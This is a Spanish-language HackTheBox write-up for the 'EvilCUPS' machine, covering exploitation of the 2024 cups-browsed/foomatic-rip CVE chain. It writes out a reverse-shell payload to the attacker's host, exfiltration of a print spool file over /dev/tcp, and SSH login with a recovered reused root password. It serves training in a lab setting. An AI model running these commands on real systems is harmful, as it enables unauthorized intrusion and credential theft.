EvilCUPS – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘EvilCUPS’ Avatar


Resumen Link to heading

“EvilCUPS” es una máquina de la plataforma HackTheBox la cual fue lanzada de forma especial ante una serie de vulnerabilidades contra el servicio CUPS las cuales permiten ejecución remota de comandos. Siguiendo los pasos presentados hace un par de semanas (a la fecha de publicación) de este blog somos capaces de lograr ejecución remota de comandos en la máquina víctima, ganando acceso inicial a ésta. Además, somos capaces de leer archivos con datos para el servicio CUPS, los cuales contenían una contraseña usada por el servicio de impresora y que era reutilizada para el usuario root; ganando así control del sistema.


User / Usuario Link to heading

Empezando con un rápido y silencioso escaneo con Nmap sólo muestra 2 puertos TCP abiertos: 22 SSH y 631 CUPS:

❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:25 -03
Nmap scan report for 10.10.11.40
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
631/tcp open  ipp

Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds

Aplicando algunos scripts de reconocimiento sobre estos puertos tenemos:

❯ sudo nmap -sVC -p22,631 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:26 -03
Nmap scan report for 10.10.11.40
Host is up (0.51s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.89 seconds

Podemos ver que la máquina víctima está corriendo CUPS en su puerto por defecto 631:

Información
CUPS is a modular printing system for Unix-like computer operating systems which allows a computer to act as a print server.

En resumen, CUPS es el servicio que permite a la máquina actuar como una impresora.

Visitando http://10.10.11.40:631 en un navegador de internet muestra:

EvilCUPS 1

Tal cual la página misma y el escaneo de Nmap muestran, tenemos una versión: 2.4.2. Basados en el mensaje de copyright en el extermo inferior izquierdo (y además de googlear CUPS 2.4.2 release date) nos muestra que esta versión es de alrededor del año 2022. La versión más actualizada (al momento de escribir este WriteUp) es 2.4.8, lanzada en Abril del 2024.

Yendo a la pestaña de Printers podemos ver que hay una impresora instalada: Canon_MB2300_series:

EvilCUPS 2

Si clickeamos en el nombre de la impresora, podemos ver más información acerca de ésta:

EvilCUPS 3

y revisando los trabajos (jobs) que ha realizado/está realizando esta impresora (clickeando en Show Completed Jobs) nos retorna:

EvilCUPS 4

Hay sólo 1 trabajo/job corriendo a nombre del usuario Witheld.

Noto que hay tareas/trabajos (jobs) los cuales somos capaces de realizar, mientras que no somos capaces de realizar algunos otros. Por ejemplo, clickeando en Maintenance en la parte media-alta izquierda de la pantalla, y luego seleccionando Print Test Page crea una nuevo trabajo/job. Luego de unos segundos, si revisamos la lista de tareas, ésta ha sido ejecutada por el usuario anonymous y el trabajo ha sido agregado a la lista:

EvilCUPS 4

Pero si intentamos una opción como, por ejemplo, Set Allowed Users (clickeando en Administration y cambiándola), ésta nos redirige al sitio http://10.10.11.40:631/admin/. No tenemos acceso a esta ruta; sólo nos retorna código de estado 403 Forbidden:

❯ curl -I http://10.10.11.40:631/admin/

HTTP/1.1 403 Forbidden
Connection: close
Content-Language: en_US
Content-Length: 370
Content-Type: text/html; charset=utf-8
Date: Thu, 03 Oct 2024 04:46:17 GMT
Accept-Encoding: gzip, deflate, identity
Server: CUPS/2.4 IPP/2.1
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

En este punto es donde entran las vulnerabilidades. Cerca de 2 semanas atrás, se dio a conocer una publicación por Simone Margaritelli (a.k.a evilsocket) en su blog reportando 4 vulnerabilidades para el servicio CUPS. Lo grave de esto, es que la explotación permite ejecución remota de comandos en el servidor víctima sin requerir autenticación. Citando literalmente del blog, las vulnerabilidades son:

  1. CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.
  2. CVE-2024-47076libcupsfilters <= 2.1b1: cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker controlled data to the rest of the CUPS system.
  3. CVE-2024-47175 | libppd <= 2.1b1: ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker controlled data in the resulting PPD.
  4. CVE-2024-47177cups-filters <= 2.0.1foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.

En simples palabras, a grandes rasgos, la cadena de ataque es:

EvilCups 9

Siguiendo los pasos del blog, allí se explica cómo una mala configuración en el protocolo UDP y su puerto por defecto para CUPS, junto con uan falta de sanitización, le permitieron lograr Remote Code Execution (ejecución remota de comandos) en el sistema. Por tanto, chequeamos si el primer requisito para explotar esta vulnerabilidad se cumple: CUPS está usando el protocolo UDP en su puerto. Para ello usamos Nmap nuevamente:

❯ sudo nmap -sU -p631 10.10.11.40

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 02:49 -03
Nmap scan report for 10.10.11.40
Host is up (0.25s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 3.13 seconds

Está abierto. Empezamos bien.

Podemos entonces usar este exploit escrito en Python por IppSec (adaptado de este Advice de Seguridad del Github de CUPS Browsed) el cual aplica todos los pasos explicados anteriormente en el gráfico. Clonamos el repositorio, nos creamos un entorno virtual temporal con Python llamado evilcups_env, lo habilitamos e instalamos todas las librerías necesarias en éste:

❯ git clone https://github.com/IppSec/evil-cups.git
<SNIP>

❯ cd evil-cups

❯ python3 -m venv evilcups_env

❯ source evilcups_env/bin/activate

❯ pip3 install -r requirements.txt

❯ python3 evilcups.py -h
evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>

Ahora bien, la parte “sensible” de este exploit es que si, por ejemplo, nos enviamos una reverse shell ésta compartirá el mismo PID del proceso que está corriendo la impresora. De manera que, si por A, B, C motivo la mala impresora (agregada) se muere o es removida, nuestra reverse shell también morirá ya que es un proceso “child” (hijo) de ésta. Puede haber un proceso corriendo por detrás el cual elimina las impresoras no deseadas. Por tanto, nuestra reverse shell podría morir. Para sobrepasar este problema podemos crear un nuevo PID el cual se haga cargo del proceso de la reverse shell utilizando el comando nohup junto con el de la reverse shell. Por tanto, si realizamos esta secuencia de ataque para CUPS, se recomienda hacerlo utilizando nohup para crear un proceso independiente.

Como último aviso, en la vida real puede que no haya un proceso removiendo constantemente las impresoras no deseadas. De ser ese el caso (el cual es más realista), y por alguna razón nuestra reverse shell muere, tendremos que cambiar nuestra dirección IP dado que al realizar la inyección ésta no aceptará un nuevo archivo PPD. Supongo que por eso la gente de HTB fue considerada y agregó el proceso de borrar impresoras. De otro modo necesitaríamos cambiar la IP cada vez que la reverse shell muere o, incluso, si es que simplemente ejecutamos un ping para saber si el exploit funcionaba.

De vuelta al ataque. Empezamos un listener con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

y ejecutamos el exploit:

❯ python3 evilcups.py 10.10.16.3 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1" &'

IPP Server Listening on ('10.10.16.3', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...

donde 10.10.16.3 es mi IP de atacante y 443 el puerto que estoy en escucha con nc.

Luego de que hayan pasado unos 30 segundos, volvemos a revisar la página web de las impresoras (la pestaña/directorio /printers):

EvilCUPS 6

La impresora maliciosa está allí.

Podemos entonces clickear en la impresora creada, ir a Maintenance y cambiarla por la opción Print Test Page:

EvilCUPS 7

Una vez clickeamos en ella podemos revisar nuestro listener de netcat y vemos que hemos obtenido una shell como el usuario lp:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.40] 56334
bash: cannot set terminal process group (4689): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ whoami

whoami
lp

Podemos obtener la flag de usuario en el directorio /home/htb.


Root Link to heading

En general, todo lo relacionado con CUPS se encontrará en el directorio /var/spool/cups. Si queremos listar los archivos CUPS, por ejemplo, los archivos PPD inyectados, vemos que no podemos:

lp@evilcups:/$ ls -la /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied

lp@evilcups:/$ ls -la /var/spool | grep cups
drwx--x---  3 root lp   4096 Oct  3 02:12 cups

Tal cual podemos ver, sólo somos capaces de ejecutar archivos en aquel directorio.

Ahora, podemos saber los nombres de los archivos PPD “a ciegas” gracias a la documentación de CUPS:

Información
The scheduler stores job files in a spool directory, typically /var/spool/cups. Two types of files will be found in the spool directory: control files starting with the letter c (c00001, c99999, c100000, etc.) and data files starting with the letter d (d00001-001, d99999-001, d100000-001, etc.)

Básicamente, el formato de los archivos con datos es d[numero entero con el job, 5 digitos]-[entero de la pagina a leer, 3 digitos]. Así, por ejemplo, si queremos leer el job 3 ya la página 2 el nombre de archivo será d00003-002; si queremos leer el job 1 y su página 4, leemos el archivo con nombre d00001-004 y así sucesivamente… Tal cual vimos en la fase de intrusión/al inicio, ya existía una impresora Canon corriendo un job 1 por el usuario Witheld; cuando agregamos un nuevo job como el usuario anonymous, un job 2 fue agregado (el número luego del caracter -). De manera que, quizás, seamos capaces de leer el archivo /var/spool/cups/d00001-001 el cual no será más que la data del job 1 y su página 1 (job el cual ya estaba presente originalmente en la máquina):

lp@evilcups:/$ cat /var/spool/cups/d00001-001

%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
<SNIP>
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF

(Ya podemos ver algo que parece una contraseña… Pero podemos ver esto de una mejor manera)

Podemos tratar de convertir este archivo .ps (tal cual indica el header del archivo) a formato PDF. Para pasar el archivo empiezo un nuevo listenre con nc en el puerto 4444, y guardo lo recibido en un archivo llamado printer.ps:

❯ nc -lvnp 4444 > printer.ps

listening on [any] 4444 ...

Dado que la máquina víctima no tiene netcat instalado, podemos usar la ruta /dev/tcp para enviarnos la data/archivo:

lp@evilcups:/$ cat /var/spool/cups/d00001-001 > /dev/tcp/10.10.16.3/4444

Una vez recibida, chequeamos que ambos archivos tengan el mismo hash MD5 para corroborar que los datos no han sido corrompidos/se perdieron en el camino/fueron buenos:

lp@evilcups:/$ md5sum /var/spool/cups/d00001-001

2fb41de3cec5ef29a78c1c825998ac1f  /var/spool/cups/d00001-001

y

❯ md5sum printer.ps

2fb41de3cec5ef29a78c1c825998ac1f  printer.ps

Son los mismos. La data está intacta.

Podemos finalmente usar la herramienta ps2pdf para pasar el archivo .ps a PDF y visualizar este archivo:

❯ ps2pdf printer.ps printer.pdf

❯ xdg-open printer.pdf

EvilCUPS 8

Tenemos una contraseña: Br3@k-G!@ss-r00t-evilcups.

Revisamos si esta contraseña corresponde al usuario root con la herramienta NetExec:

❯ nxc ssh 10.10.11.40 -u 'root' -p 'Br3@k-G!@ss-r00t-evilcups'

SSH         10.10.11.40     22     10.10.11.40      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH         10.10.11.40     22     10.10.11.40      [+] root:Br3@k-G!@ss-r00t-evilcups (Pwn3d!) (root) Linux - Shell access!

y corresponde.

Podemos finalmente loguearnos como el usuario root a través de SSH:

❯ sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh -o stricthostkeychecking=no root@10.10.11.40

<SNIP>
root@evilcups:~# whoami

root

Podemos obtener la flag de root en el directorio /root.

~Happy Hacking